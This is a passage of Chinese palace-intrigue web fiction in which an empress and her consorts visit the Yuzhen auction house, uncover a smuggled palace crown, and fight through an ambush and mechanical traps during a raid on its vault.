傅逸春下意识瞥了眼暗处,月白袍角微动,故而收敛情绪,落下一子后抬眸望向裴源,语气中带着一丝试探:“君后呢?陛下如何看待?” 裴源微微蹙眉,抬眸时,凤眸透出几分不满:“与你无关的事,少打探!” 傅逸春:“……” 其他人就能如实相告,君后就是与他无关?不都是后君吗?有何区别? 裴源不理会他的心思,又落下一子后,继续道:“裴若淑无端死在皇陵,恰发生在夏至祭祀,朕有些担心有人会以幽冥神力之说,搅弄风云。所以早做防备,有备无患。” 傅逸春沉吟片刻:“陛下欲用推臣之法?予他造势?” 裴源微微沉吟,轻声说道:“神子降世,与诗仙入凡,二者不可同日而语,等级不同,更有难度。因此,再行推诗仙之法,恐怕难以奏效,不但会引人怀疑,还会祸及爱君,得不偿失。朕思来想去,唯有天降异象,方能彰显神子之尊。” 傅逸春沉默须臾,低声道:“可臣并无呼风唤雨之能。” 裴源语气淡然:“朕知道。此事无需爱君忧心,朕自有筹谋。待吉时既至,爱君为他赋诗一首足矣。有爱君这般德高望重的诗仙为其背书,神子之名自会愈发稳固。” “此事不难。”傅逸春沉吟片刻,目光微闪:“臣更好奇,陛下如何造出天象异变?” 裴源坦然道:“朕还没想到。” 傅逸春:“……” 裴源又道:“万幸君后聪慧无双,朕准备回去问问他。” 暗处的陆长行:“……” 太看得起他了,呼风唤雨这种事……谢邀,婉拒。 第48章 第48章晋江文学城 裴源实非对弈高手,不过几个回合便入下风,随手抓了两颗棋子扔在了棋盘上:“夜深了,早些休息吧。” 傅逸春神色从始至终的淡然,她来不见喜,她走不见悲,只是瞥向棋局时难得展露一丝笑颜。 眼见凤帝消失在夜幕之中,暗处的陆长行方才缓缓踱至桌案前,纵观棋局,明明呈优势的黑子,眼下被杀的片甲不留。 傅逸春笑道:“黑棋输了,君后可认?” 陆长行不由唏嘘:“天意如此,愿赌服输。” 陆长行看向他:“你如今在太学地位超然,把傅艺放在眼皮子底下看顾不更稳妥?何必非要送去国子监?” 傅逸春整理着棋子,棋子相撞声中,回复他道:“她性情不稳,若知我便是帷帽诗仙,难免会心生自满,仗势而为。反观国子监中风气不正,学生多有攀比之心,彼此钩心斗角,更易磨炼心性。幼时多吃亏,长大才能立的稳。” 陆长行不置可否,但想了想,还是回道:“话虽如此,该插手还是要插手,以免养成阴暗的性子,辜负了你的用心。” 傅逸春点了点头:“臣晓的。” 天色已晚,不宜久留,陆长行准备离去,才行过屏风之后,不料凤帝去而复返,忽然出现在窗外。 三人相顾无言,空气陷入了良久的死寂。 终是傅逸春缓步上前,打破沉默:“陛下可还有要交代的?” 裴源这才将视线从陆长行身上移到傅逸春的脸上:“朕刚刚忘了问你。南阳王近来可有再来打扰你?” 傅逸春摇头:“瞿辰出宫后,日日围着她转,此刻已应接不暇,顾不得臣了。” 裴源了然:“如此便好。”说罢,再次看向陆长行:“可要朕捎君后一程?” 陆长行颔首扶额:“臣谢陛下恩典。” 太学坐落于京城东区,旭日初升时,第一缕朝霞总会率先洒落在太学的藏书阁上,意在天意昭示这片学术圣地。 四周环境清幽雅致,静谧得连车轮碾过地面的窸窣声都显得格外清晰。 夜色如墨,车厢内光线漆黑一片,裴源看不清陆长行的眉眼,只是跟着感觉握住了他的手。 陆长行指尖微微一颤,沉默了片刻,反手将女子的手紧紧包裹在掌心:“臣还以为陛下会因臣冒然出宫,心生不悦呢?” “朕在你心里,是个炮仗不成?动不动就生气?”裴源默了默:“适才朕与傅逸春交谈,你可听到了?” 陆长行轻嗯一声:“不过要让陛下失望了,臣亦不会呼风唤雨。” 裴源‘哦’了声,情绪平淡,让人听不出喜怒,只是慢慢将头枕在了陆长行的肩头。 车厢再次陷入静谧。途径中央街区时,小贩的叫嚷声打破了车厢宁静。 陆长行掀开帘子望去,不远处的南市灯火辉煌,好不热闹。 裴源见势开口:“可要逛逛吗?” 陆长行:“好。” 时至戌中,南市依旧热闹非凡。华灯初上,映照着熙熙攘攘的人群,一片繁华盛景。两人执手缓步前行,沿着熟悉的街巷,目光所及之处,与上次出城时并无二致,不免少了新奇之趣,于是,相约逛起了门店来。 成衣铺子,绫罗绸缎挂满货架,尽显京城风潮;胭脂铺子,各色脂粉、香膏琳琅满目,得见百姓妆容趋势。头面饰品更是款式繁多。 裴源随手拿起一支竹节碧玉簪,触感温润细腻,雕工精巧绝伦。正欲递给身旁男子试戴,转身之际,陆长行却不见了影踪。 裴源四下寻觅,最终在内室看到了陆长行的身影,他正伫立于一处孤品货架前,看着上头的一件宝冠专注入神。 那是一顶金宝钿头冠。裴源虽不谙饰品之道,却也能看出此冠工艺繁复,款式独特。冠身在灯火的映照之下,金光熠熠,奢华尽显。 “若中意,买下便是。”裴源轻声说道。 陆长行回过神,目光却仍停留在那头冠之上:“此冠融合掐丝、镶嵌等技艺,上嵌绿松石、琥珀等珍宝,件件皆为稀世之物。” 裴源微微颔首:“孤品自然价值不菲。” “价格不过表象。”陆长行指着冠身中央那朵用金丝勾勒出的花形,低声道,“此花名唤沙罗曼,生于沙漠之中,亦为沙罗国国花。不知是不是巧合,这冠,与先前君后参加宫宴时,所佩戴的那枚十分相近。” “工艺如此精巧,非民间匠人可为。我更相信,它就是先前君后佩戴那枚。”他言此眉间微蹙,露出狐疑之色:“可若这冠当真是宫中之物,怎会出现在南市?” 裴源一怔,再次看向头冠的目光沉了几分:“先前君后被母皇废黜出宫,所有御赐之物皆需留在宫中。”她稍作沉吟:“但也不能排除,她曾暗中将饰品带出宫外售卖,毕竟那时的常家已成颓势。” 陆长行沉吟片刻,缓缓道:“倒卖御赐之物,乃是诛九族的罪过。即便常家胆敢为之,也绝不敢让它现身京城店铺。这店主想必不知此物来历,否则绝不敢如此公然陈列。除非几经周折,误打误撞回了京城。” 两人驻足良久,引起了小二的注意。小二见二人衣着华贵,气质不凡,不敢轻易上前搭话,匆忙上楼寻了掌柜。掌柜闻讯,忙不迭地快步下楼,脸上堆满笑容,欠身道:“两位若中意,尽管取下试戴便是。” 二人齐齐看向掌柜,娘子体态微微发福,满面笑容,透着一股子和气生财的亲和劲儿。 裴源忍不住开口问道:“这冠上的花甚是奇特,我与夫君商讨良久,竟也猜不出个所以然。” 掌柜听闻,不但未显得不耐烦,反而负手而立,挺着肚子道:“二位郎君有所不知,这花唤作沙曼,传闻只生长在茫茫沙漠之中,极为罕见。因而,又是沙罗国的国花。” 见二人露出恍然大悟之色,掌柜愈发得意,又道:“这顶头冠本是沙罗国皇室之物,我是费尽心思才得来。若非近来手头紧,我是断然不舍得拿出来卖的。” 裴源微微挑眉,直视掌柜:“听你这般说,这头冠来历怕是有些不正吧?” “这话从何说起?”掌柜敛起笑意:“见二位也是有头有脸的人物,想必听过玉镇榷场,此冠便是我竞价得来,二位若心有疑虑,大可花五两银子前去榷场,调取出竞价名录,一观便是。” 第49章 第49章晋江文学城 玉镇榷场为大晟首屈一指之拍卖重地。虽地处非京,但其声名远播,堪称行业翘楚。 玉镇榷场所立的规矩,堪称行业之范本。诸多榷场皆以其为楷模效仿。可谓是拍卖界之泰山北斗,其影响力与权威性,不容小觑。 陆长行言及此,看向裴源正色道:“但它之所以扬名,凭借的还是定国老王卿的势。” 裴源低沉呢语:“定国老王卿?” 说起这位定国老王卿,也是个传奇人物。 她与皇祖母虽无血缘之亲,却情谊深厚,胜似姐妹。二人同赴沙场,浴血奋战,终得江山社稷。皇祖母斩杀前朝帝王登基为帝后,便封她为定国大将军。 彼时边陲多事,局势不稳,全赖老王卿镇守。然其功绩日隆,却也引得朝中文臣侧目。 按常理,老王卿性情刚烈,脾气火爆,本该入京与文臣一较高下。可谁也没想到,她竟轻描淡写的卸下兵权,归京颐养天年。 此女不喜美色,亦无子嗣。只对收集奇珍异石感兴趣。 皇祖母怜她孤身一人孤苦,再加上同袍之谊,所以一得好的珍奇之物,就紧着她赏玩。 陆长行继续说道:“有一年,不知从何处传来的流言,说有渔妇从东海海底捞出了一颗夜明珠,大比人头,夜放光芒,可与月光争辉。老王卿听闻此事,便遣人四处查探,最终得知此物竟在玉镇榷场。许是榷场造势,拍卖此物当天,来了许多达官贵人,都要拍下此珠收藏把玩,众人你来我往,直接将这珠子炒上了天价。很多拍卖者望而却步因此放弃,只剩下老王卿与另一个买家,两人似谁也不服谁一般,隔着单间抬价。最后把老王卿给惹火了。 老王卿一枪劈开了对家的门,大呵一声:‘狂妄小辈,你既喜欢那珠子,本卿让给你也无妨,毕竟黄泉路幽暗,拿它照明也是好的。’要不是榷场的掌柜前来拉架,只怕那买家会血溅当场。最后呢,对方知晓她的威名,便主动让了珠子。榷场的掌柜见势,也未收老王卿的银两,不但将珠子送给了老王卿,还顺带送了许多奇珍给她老人家。老王卿哪好意思白收人家的礼?回来后,大肆替玉镇榷场宣扬,自此,玉镇榷场便成了大晟第一榷场。” 裴源听到此处沉默数息:“如此说来,这玉镇榷场也兴了许多年了,毕竟这朝局都换了三代帝王了。” “是啊。”陆长行也是一阵唏嘘:“据说,那榷场的掌柜极通人情世故,得知老王卿替自己宣扬之名,便以谢恩之名频频造访定国卿府,坊间还有传闻,说老王卿最后收了那掌柜为义女。” 裴源摩挲着黑玉扳指:“王卿收义女,可不是民间跪地奉一杯茶这么简单。尤其老王卿一辈子无儿无女,若真有这般心思,必会声势浩大,满城皆知。所以这坊间传闻不一定作数,约莫是那掌柜自己对外放出的假消息罢了。” 陆长行不置可否,他想了想又道:“掌柜在变,不过商人的本性不会变,这榷场兴盛这么多年,定有高手坐镇,如何看不出那金冠是宫廷之物?” 裴源沉默半晌后启唇:“明知而为,其根本,还是不惧。老王卿不在了,不还有别人吗?玉镇离京城又不远。” 陆长行轻笑一声,车厢黝黑,裴源看不出他的神色,只听他道:“宸贵君尚在玉镇,陛下何不手书一封,让他前往这榷场探探虚实?” 车厢良久无言。 陆长行打趣道:“陛下是信不过宸贵君,还是舍不得烦劳他?” 裴源只轻描淡写道:“朕 只是想起,自己的头疾好久没有复发了,还有些不习惯呢。” ** 两日后,城门大开时,侯在城门的百姓一股脑的涌出城去,两辆尾随在队伍之末先后顺利出城。 车帘慢慢被掀开了一角。 一双圆眸眨了眨,西门眙难掩兴奋,新奇的望着城外的一草一木:“三年多未出城了,没想到城外还是老样子。” 庄与之冷哼一声,不屑的白他一眼:“瞧你那点出息?” 同为君位,西门眙也丝毫不给庄与之好脸色:“你那么有出息?合该回家待着,何必巴巴跟过来?” 庄与之眼眸锐利看他:“本宫花了银子了!足足三千两,这次的外出车马,花的都是本宫的钱!本宫随行,天经地义!倒是你,分文未出,你我谁死皮赖脸的跟着,谁知道?” 西门眙撇了撇嘴:“君后说了,谁能哄陛下高兴,谁就有出宫的恩典。你讨不着陛下的欢心,只能靠银子换恩典?怪的着谁?” 庄与之冷笑:“狐媚手段,装痴卖乖,本宫才不屑为之。” 近来,君后设立了一项恩典制度,条目繁多,足足有二十余条,还采用了积分制。只要积分达到一定标准,便能前往凤帝处讨取恩典,出宫便是恩典之一。 制度中有一条名为“散银”,听起来是为了充盈国库,造福万民,但庄与之却觉得,这分明是凤帝变着法子向后君要钱。 凤帝手头拮据,庄与之是心知肚明的。 先帝晚年志盈气满,挥霍无度。皇宫各殿皆翻新重修,大兴园林,极尽奢华;为求功德圆满,耗费颇巨,修建道观、寺庙;甚至为彰显我朝兴盛,还将京城主要街道悉数铺设青砖;皇陵亦重新修缮,以保百年后的安宁。如此挥霍下去,国库自然空虚,裴源继位后,日子过得紧巴巴的。 庄与之总怀疑,前段时间凤帝昏迷了三日,是被气的:因为贡院修缮,工部上报了三万两的建资。 小家子气! 庄与之说不清自己对凤帝的心思。 他只记得小时候,凤帝是前太女身边的人,没人知晓她究竟扮演着何种角色。行的是侍卫伴读之事,可她毕竟是皇女出身;干的是长随奴婢的活计,偏又是公主之列。 这般身份,尴尬至极。不仅其他皇女看不起她,就连庄与之对她也瞧不上眼。 后来,裴源继位了。宗室对她的态度表面是恭敬了一些,那也不过是当着她的面。父王虽瞧她不起,但还是将自己送进了宫,成了后君。 庄与之明白,她们看不上裴源这个人,却不得不敬着凤帝,敬着那张凤椅。 入宫三年,他被裴源冷落了三年。从最初的不屑,到中途的自我怀疑,再到如今的愤懑不甘,他心里憋着一口气,总想做点什么,让裴源对他刮目相看,从而求着他侍寝。 只可惜,用尽了手段,竟落得一个泼夫的名号。事到如今,沦落到靠银子获得“恩典”,偷偷随行“头疾复发、不能上朝”的凤帝去往玉镇避暑。 原本还沉浸在得意里,得知西门眙也要随行,让他瞬间恼火。 西门眙长相算不上出挑,脑子不算好使,家世也就那样,最重要的是,这个人奇奇怪怪,不像个正常人。 凤帝喜欢他什么? 庄与之冥思苦,得出了一个结论:山猪吃不来细糠。 意识到这点,庄与之突然不屑与西门眙计较了,故而双手环胸,阖眼休憩。 西门眙瞥了瞥嘴,头倚在角落的软枕上,随着马车摇摇晃晃,竟也睡着了。 他是被一缕风吹醒的,朦胧睁眼时,恰与掀开车帘的凤眸四目相对,几息后,一抹笑意挂在凤帝脸上:“梦见什么了?都流口水了。” 西门眙脸一红,慌乱的抹去了嘴角水渍,更为羞赧:“妻主何必打趣我?” 裴源敛起笑意:“好了,快下车吧。” 下了马车的庄与之又忍不住白了西门眙一眼,矫情二字几乎到了嘴边,生生被裴源一个眼神噎回了肚子里。 避暑山庄建在山中,清风徐来,的确比后宫凉爽许多,可她总觉得那凉意透着几分阴气,吹得她后脊直冒冷汗。 西门眙下了车,摩挲着胳膊,仰望着建在半山腰的山庄,低声嘀咕道:“怪不得有避暑之效,原来竟是阴脉聚气的布局。” 裴源不解,问道:“何为阴脉聚气?” 西门眙边走边解释道:“山脉均有两面,向阳而暖则为阳,背阴而寒则为阴。聚气则有三要件:其一为藏风,四周树木环绕,可固气免被吹散;其二为得水,”他指向山脚下的湖水,继续说道,“水能聚气;其三为明堂开阔,妻主你看——” 西门眙指着远处开阔的空地,说道:“前方有开阔的空地,亦可使气聚集。故而,此山庄的建筑运用了风水中的阴脉聚气。而气,通常被认为可以带来好运和福气。” 裴源恍然大悟,点头道:“原来如此。” 西门眙沉默片刻,又道:“不过,阴脉聚气还有一种说法:以阴养阴,所以此地不宜久居,阴气太重。” 裴源又是一头雾水,问道:“以阴养阴?” 西门眙耐心解释道:“前阴指阴气,后阴,指的是阴宅或是墓地的意思。有些子孙想祈祷祖先保佑自己,便会将祖坟迁至阴脉聚气之地,借助阴气来养阴,以求祖先的庇佑。” 裴源微微蹙眉,尚未来得及开口,便听庄与之冷哼一声,语气中带着几分不屑:“少在这卖弄你那些邪门歪道!哪里的阴气能养阴?我可告诉你,这山庄的主人姓唐,为人热情大方,且有江湖豪情的洒脱。怎么到了你嘴里,就成了邪修之流了?” 第50章 第50章晋江文学城 避暑山庄的掌柜唤作唐香菱,早年间在镖局做压货伙计,身手矫健,为人仗义忠勇。一次押送贵重货物途中,突遇山贼,她孤身护下货物,自此声名鹊起,得东家重用。 数年后,辞别旧主,转而投身跑船一行,凭借智勇双全,发了大财。 在庄与之眼中,此女堪称能人。 裴源未曾开口,西门眙却眨了眨圆眸,满是疑惑:“先做镖师?后去跑船?最后发家?”他挠了挠头,皱眉道,“说不清,但总觉得哪里不对劲。” 庄与之冷哼一声:“你那点芝麻大的脑子,看什么都怪。” 西门眙愣了片刻,气得满脸涨红,一把拉住裴源的胳膊控诉道:“妻主,你看他!” 裴源轻拍他的手,安抚道:“咱先走,别理他。” 庄与之闹了个没脸,愤愤地白了一眼一脸得意的西门眙,默默跟上。 客房比想象中更为清幽,只是待得久了,竟隐隐透着几分寒意。山庄的小二适时送来了煮茶的火炉与精致茶点,最后,还奉上了一本画册。 “客官,这是今日榷场的拍卖名目,若有需要,可随时吩咐小的。”小二躬身说道。 裴源接过名目,随意翻看,最后页码停在压轴的商品良久。 西门眙不禁凑上前来,疑惑道:“歙砚?就这两个字?歙砚虽说贵重,但也并非难求,凭什么可以压轴?” 庄与之倒了杯茶,奉到裴源手边,丹凤眼微挑,开口时语意慵懒:“压轴拍品往往如此,会在现场言明价值、来历等。”他沉默片刻,又道:“压轴拍品若是寻常之物,那这件拍品,定有其他玄机妙用。” 裴源了然,见西门眙对名册感兴趣,便递给了他。随后,抬眸看向小二,女子面容精致,眉眼间透着几分灵动,言辞也爽利干脆,倒是很讨喜。裴源问道:“你们客栈还与榷场有商贸往来?” 小二微微一笑,说道:“玉镇榷场每月初一、十五开市,届时玉镇车水马龙,商贾云集,山下客栈往往爆满。我家掌柜洞察商机,遂在山涧僻静处营建此避暑山庄。客官今日来得早,若迟些时辰,怕是连落脚之处都难寻了。今日恰逢十五,客官来玉镇,想必是为了榷场。您是我们山庄的贵客,为您榷场之行服务, 也是应当的。” “你适才说‘需要?’指的是什么?”裴源微微皱眉,狐疑问道。 女子恭敬答道:“榷场的拍卖间分为天、地、人三档。天字号雅间,位置最高、视野最正,不过仅有五间;地字号单间,视角虽比天字号略逊一筹,但环境相对僻静,共有三十余间;人字号则是大厅散座,数量虽多,但也有一定限制,若是预定晚了,便只能等下次开市了。我家掌柜与榷场的老板有些交情,若客官对天字号或地字号的需求,我庄可帮忙预定。” “哦~”裴源恍然大悟,微微挑眉道:“如此看来,这榷场竟不是有银子就能进的。” 女子笑容加深,微微颔首,不置可否。 裴源沉吟片刻,道:“那就劳烦帮忙留间地字号单间吧。” 时至酉中,地字三号房。 狭小的房间里,西门眙对一切都感到新奇。而庄与之则是一脸不悦:“早就说过了,地字号坐不开。” 裴源啜饮一口清茶,语气平和道:“我们是偷偷跑出来的,行事还是低调一些。”她微微一笑,继续道:“左右不过两个时辰,忍忍便过去了。” 庄与之反驳道:“楼下散座岂不更低调?” 裴源正色道:“若我一人,坐散座也是无妨,可带着你们两个郎君,不太合适。” 庄与之无奈地望了望天。 彼时,展台传来一声清脆铃响,拍卖会如期而至。主持讲解时,现场无一人喧哗,竞拍开始后,也只是摇铃示意。 上台的拍品虽贵重,但比之御赐之物,还是欠缺些精致。庄与之兴趣泛泛,反倒对讲解一事更为热衷。常常是主持在台下讲优点,他在单间里说华点。 裴源通常不动声色,却内心骇然。从前对他印象只停留在肆意妄为,倨傲任性上,却不想庄与之不仅知事颇广,还对这些拍品也是耳熟能详。 可见这大殿下府邸,消息通达。 随着拍品的等级逐渐上升,会场的气氛才逐渐变得热烈起来。天字甲号房的买家逐渐成了众人关注的焦点。 西门眙隔着一层薄纱,目光扫向甲字号房门,低声问道:“这天字甲号房的郎君究竟是什么来头?所拍之物好似全凭心情,全无半点逻辑。” 天字甲号房的贵客是一位郎君,声音低沉而清冷。由于房门紧闭,裴源见不到他的样貌,但从映在房门上的影子来看,此子坐姿闲适懒散,偶尔饮一杯酒水,偶尔偏转脑袋,似在透过门上竹帘的缝隙打量全场,睨视楼下。 上了台的拍品,一大半都成了他的囊中之物。前朝的古玩字画他要,京城的房产他也要,甚至连僧人生前所用之物,都被他竞价得手。他出手阔绰,毫不吝啬,自然也成了众矢之的。 眼瞧又一件拍品被虚抬了高价,楼下散座中一位娘子不禁开口,声音带着几分恳切:“在下远道而来,家中有人急用此物救命,想拍下这颗附子回去。郎君若不急需,能否高抬贵手,让与在下?在下定感激不尽。” 众人纷纷看向天字甲号房,本以为那郎君会大度想让,却不想,他只是沉吟稍许,便再次叩响了响铃。 庄与之微微蹙眉,低声道:“那娘子冒然出口,为榷场规矩所不容,但榷场之人并未制止。可见是察觉不对,有意纵容。”他言罢,转头看向裴源:“我看这个男人是来闹事的,今日恐不能太平。妻主,我们要不要……” 裴源微微一笑:“来都来了,有拍品看拍品,有热闹凑热闹。” 庄与之颔首应是,起身行至西门眙身侧,轻轻撩起薄纱,也打量起甲号房来。 果不然,那郎君此举引来众人不满。起初,众人还只是以道德评判那贵客的为人,但随着气氛愈发紧张,人群里渐渐响起了污言秽语。 “一个男人,不好好在家相妻教女,来这种地方出风头,伤风败俗。” “有几个臭钱,就敢在此耀武扬威?可见见识短浅,浅薄至极。” “十九件拍品他拍走了十五件也就罢了,连人家的救命药都抢?我看他就是来砸场子的。” “……” 污言秽语,愈发刺耳。天字号雅间虽居高临下,却也听得纤毫毕现。 良久,轻蔑的冷笑声从高处落下,那郎君朗声讥讽道:“榷场首则,本为价高者得。诸位若欲竞拍,摇铃便是,何至于如此气急败坏?素闻玉镇榷场规矩严明,如今看来,也不过如此。这般嘈杂,宛如市井;这般买家,宛如泼妇。草台班子,还敢要老子花一千两入楼?我看啊,你们直接去菜市场置办个台子算了!” 楼下散座的买家听了这话,顿时火冒三丈:“抢人救命的药,简直猪狗不如!我看你这钱指不定是怎么来的呢?毕竟,传闻有道:“倌郎倌郎,见金眼亮,穿好裤子,翻脸便忘~” 会场瞬间陷入一片死寂,片刻之后,众人哄堂大笑,笑声中带着几分嘲讽和不屑。 甲字号房内忽而传出一声女子的冷喝:“找死!” 此言一落,房门被猛地踹开,一位女子手持长剑,如疾风般冲出,剑尖直逼那娘子的面门。 榷场中维护秩序的侍从见状,立刻拔刀相抵。只听“叮——”的一声清脆响声,刀剑相撞,迸发出几点火星。两人功力不相上下,齐齐退了几步。 主持见状,连忙呵斥道:“榷场不得闹事,违令者,逐出会场!” 甲字号郎君闻言,起身阔步走到栏杆处,一撩袍角,侧身倚坐,拄着长剑居高临下地睨着主持,冷笑道:“她辱骂在先,尔等不闻不问;我的侍卫不过护主,你们却以刀剑相逼。果然是个虚名在外的草台班子,想让老子滚?也要看看你们有没有这个能耐!”他望向楼下持剑的女子,冷冷道:“不必手下留情。” 女子应了一声,眸色瞬间冷厉,再出剑时,剑锋如电,下手阴狠,毫不留情。 场下顿时乱作一团,散客早已起身躲藏,惊呼声此起彼伏。而二楼半处,亦传来重重的脚步声,竟是会场中人,前去押解那男子离场。 却不料,那男子竟无半分露怯,姿态懒散地斜睨着一拥而上的人群。见其临近,他身形微动,抽出长剑,身形灵动,剑法凌厉。一袭红衣锦缎,随着他举手投足飒飒作响,身形一闪,剑尖轻挑,在半空划出一道寒芒。竟在几人的围攻之下占尽上风。一名侍从的刀被震飞,脚下一扫,又将另一名侍从踹倒在地。而后旋身飞踢,竟将两名侍从直接踹下了楼,引得楼下一片惊呼。众买家见势不妙,已开始逃离会场。 而地字三号房中,薄纱后的西门眙圆眸大睁,指着那贵宾,言语微颤:“那、那、那不是郭哥哥吗?” 庄与之亦是震惊不已,下意识望向裴源,却见女子不知何时也踱步到了窗前,见势,若有所思地点了点头:“身手不错,回头赏他个将军当当,兴许还能建功立业。” 庄与之下意识问道:“陛下欲做什么?” 裴源正色道:“听闻玉镇榷场有一处私库,里面装满了金银财帛。你是知道的,朕的私库空虚,只能靠此等手段充盈了。” 庄与之一脸惊愕:“可玉镇榷场侍从如云,仅凭宸贵君和牧山二人,如此车轮攻势下,很快就会落入下风!” 裴源理所当然道:“不是还有你们俩吗?” 西门眙一愣,下意识往后退:“陛下,臣柔弱不能自理,实难担此重任。” 庄与之亦态度决绝:“臣也不行!” 裴源看着二人追问: “那可怎么办啊?” 庄与之愕然:“……” 西门眙闻言,开口都颤了几分:“这个时候陛下就别开玩笑了,想必凤鸣卫此时早已埋伏在暗处了,您快叫她们出来吧。” 裴源耸耸肩:“好吧。” 说着,从袖口取出一枚短哨,锐利的哨鸣声刚一响起,楼中所有天、地包间的房门齐齐推开,就连楼下尚未来得及逃离的买家,同时敛起恐惧神色,反而对侍从们一拥而上,顷刻之间,就扭转了局面。 榷场侍从先后倒地,主持见势不对,正欲逃离,却被牧山持剑胁迫着打开了后院的门。 裴源道:“走吧。” 西门眙一脸懵逼:“去哪?” 庄与之更是在状况外,只是莫名其妙地跟在了裴源身后。下楼路上,红衣化作一道掠影,向着裴源飞奔而来。适才明明身姿利落的郭嘉安,此刻却如猫儿一般,下巴垫在了裴源的肩上,声音魅惑道:“多日不见,陛下可想臣了吗?” 裴源抬手叩了一下他的额头:“别闹,先办正事。” 郭嘉安轻哼一声,不情不愿地松了对裴源的桎梏。甫一站定,却听庄与之低声冷嘲:“狐媚惑主!” 郭嘉安冷冷瞥他一眼,未曾计较。 四人先后跨进了后院,行在凤鸣卫队伍之间。 榷场的后院并无灯火照明,好在今夜月圆,月光如银练倾泻而下,将后院的一草一木都照得清晰。然而,院中树木郁郁葱葱,枝叶繁茂,层层叠叠的树冠遮挡了大片月光,使得院内光影斑驳,幽暗阴森。 四周是诡异的静谧,不用多言,便知这情势不对。众人无不敛声警戒,一时间,只有众人的脚步声窸窣作响。 西门眙下意识抱住了裴源的手臂,像极了寻求庇佑的孩子。 “别怕。”裴源低声安抚着,察觉紧挨着自己的庄与之同样有些露怯,故而主动握住了他的手,才察觉他的手冰凉一片。裴源道:“这就怕了?素来在后宫不是挺跋扈的?” 庄与之全身一颤,似有一股暖流从掌心缓缓涌入全身。闻言,他没好气道:“少自以为是了,我才不怕呢。” “哦。”裴源当即就松了他的手,却不料反被庄与之牢牢抓在手里。郭嘉安看在眼里,不由冷笑一声:“狐媚惑主!” 庄与之怒道:“你!” “好了,”裴源打断二人的争吵,只问庄与之道:“你对榷场老板知晓多少?” 庄与之抿了抿唇,缓缓说道:“带领玉镇榷场扬名的掌柜,唤作房嘉致。此女为人精明,善于经营。房嘉致过世后,产业交到了其女房平心的手里。此女虽不及其母聪慧,却也是乐善好施之辈。有次外出遇险,被公孙白秋所救,一来二去,便与其成了莫逆之交。殊不知,这公孙白秋是个卑劣之徒,一步一步鸠占鹊巢,成为了榷场的新掌柜。” 他沉默须臾,继而缓缓道:“这公孙白秋,并非她本名。而是为接近房平心,刻意杜撰的假身份。所以这公孙白秋的过往,乃至真实姓名,至今无人知晓。” 裴源微微颔首,不再多言,只是轻轻偏头,目光落在郭嘉安身上。郭嘉安心领神会,高举手臂,紧握成拳的手掌瞬间摊开,凤鸣卫队伍应声而动,一分为二。一半原地驻足,拱卫裴源周全;郭嘉安则跟着另一队跟着主持继续前行,迈步入了游廊。 那主持在榷场多年,深得掌柜器重,地位自然不言而喻。无论是买家还是卖家,皆对她恭敬有加。而今,却被人当做人质,以剑押解,一时内心愤懑难平。她极力压制心头怒火,终于行至游廊后,趁着牧山稍有不备,猛地挣脱了她的束缚,疾步冲向游廊的柱子。只听“砰”的一声闷响,无数箭羽如流光般倾泻而出,瞬间刺向队伍。好在众人早有防备,箭羽纷纷落空。再看主持,早已没了踪影。 郭嘉安似是毫不在意,确认再无暗器袭来后,阔步走向裴源,沉声道:“安全了。” 游廊外的队伍这才放心迈步。可裴源刚踏上石阶,石头碾过青砖的细微声响突然从脚下传来。裴源尚未来得及反应,游廊地砖瞬间一分为二,猛地裂开下陷。众侍卫猝不及防,几乎连声音都未来得及发出,便齐齐坠入陷阱。 “郭嘉安!” 眼见地砖闭合,裴源一声惊呼,声中满是焦急与担忧,急忙再踏台阶,却无半点反应。 这列队伍的侍卫长唤作丁水瑶,急忙冲向适才主持所摁的木柱,叩击数下,亦无反应;重踱脚下地砖,亦无声响。 众人焦头烂额之际,西门眙忽而道:“这上头的机关,若要重新启动,需重新制动机芯。” 见众人齐齐望向他,他怯怯又道:“而那机芯,应在地砖下方。” 裴源默了两息:“所以,还有其他入口?” 西门眙点了点头:“原则上,是这样没错。” 那陷阱之下有无利刃机关,裴源无从得知,心中七上八下,担忧不止,却还要努力克制情绪,反问道:“依你之见,另一个入口是在园林之中,还是其他地方?” 事关多人安危,西门眙不敢马虎,亦不敢轻易下结论,尤其面对众人注视,更加胆怯。 裴源见状,忙上前安抚他道:“你莫要害怕,即便说错也无妨。”语毕,轻轻拍了拍他的肩膀,语气沉稳而有力:“小眙,朕此次带你出宫,是因瞧见那日你放在桌案上的竹简。当时朕不明其意,事后才知晓,那竟是奇门之术。朕相信你一定可以。朕在给你个线索,这公孙白秋曾是个发丘掘墓之人,想必对墓地中的机关之术颇为精通。所以这机关或许与古墓中所用有些相似之处。你且仔细观察看看。” 西门眙眼眸微热,自幼便对术法之事痴迷不已。可从前在家中,父母总是斥责他不务正业,失了男子的德行。但凡发现他涉猎术法之事,便动辄责骂,罚跪祠堂。入宫之后,虽不得宠,却也得了些许自由。他本以为凤帝知晓他的喜好,定会斥责不允,甚至误会他行厌胜之术,却不料,凤帝竟如此信任他。 西门眙重重点了点头,刚要开口回应,警戒的丁水瑶忽而喊道:“陛下小心!” 一道箭光化作掠影而来,丁水瑶横刀劈去,长箭一分为二,调转方向,擦着裴源的耳边直直插入身侧的木柱,箭身震颤,发出嗡鸣声响。 “游廊有挡,陛下快进入游廊中。” 裴源马上躲进游廊红木之后。 这时,一阵脚步声由远及近,听声音,似不少人,而且脚步急速。不过片刻功夫,就将众人围住。 丁水瑶紧了紧刀柄,沉声道:“二队保护陛下!一队,上!” 刀剑声此起彼伏,裴源面色铁青,情绪依旧沉稳,对西门眙道:“不必害怕,即便朕遭遇不幸,也会在倒下前舍命护你!” 西门眙只觉一股暖流从心头涌起,仿佛那些被禁锢的日子,在这一刻突然释放,内心充满了力量。他坚定地点头道:“臣一定找到入口!” 说着,不顾周遭厮杀,忙俯下身观察起游廊机关。 果如庄与之所言,榷场的侍从如云,一批倒下,复又上来一批,凤鸣卫队伍很快疲乏,出现劣势,逐渐被逼退。 裴源不知何时捡起了一把刀,庄与之同样捡刀护在身前,眼见危机越来越近,他下意识望向西门眙,却见他坐在地上不知在嘀咕什么。 庄与之催促道:“西门眙,什么时候了你还在打坐?你能不能快点?” 西门眙满头细汗,拿着石块在地上飞快写着什么,闻言,也只是用衣袖擦拭了一下汗水,继续沉寂在自己的演算中。 良久后,他蓦地起身,看着比肩而立的几处楼阁,指向其中一间矮房道:“入口在那间房中!” 裴源松了口气:“快退!” 丁水瑶带着几人断后,有惊无险地退入了西门眙所指的房间。随着房门的紧闭,光线瞬间漆黑一片。裴源夜视感极强,很快发现这似乎是一间布满杂物的房间,不仅无窗,甚至空气里隐隐透着霉味。 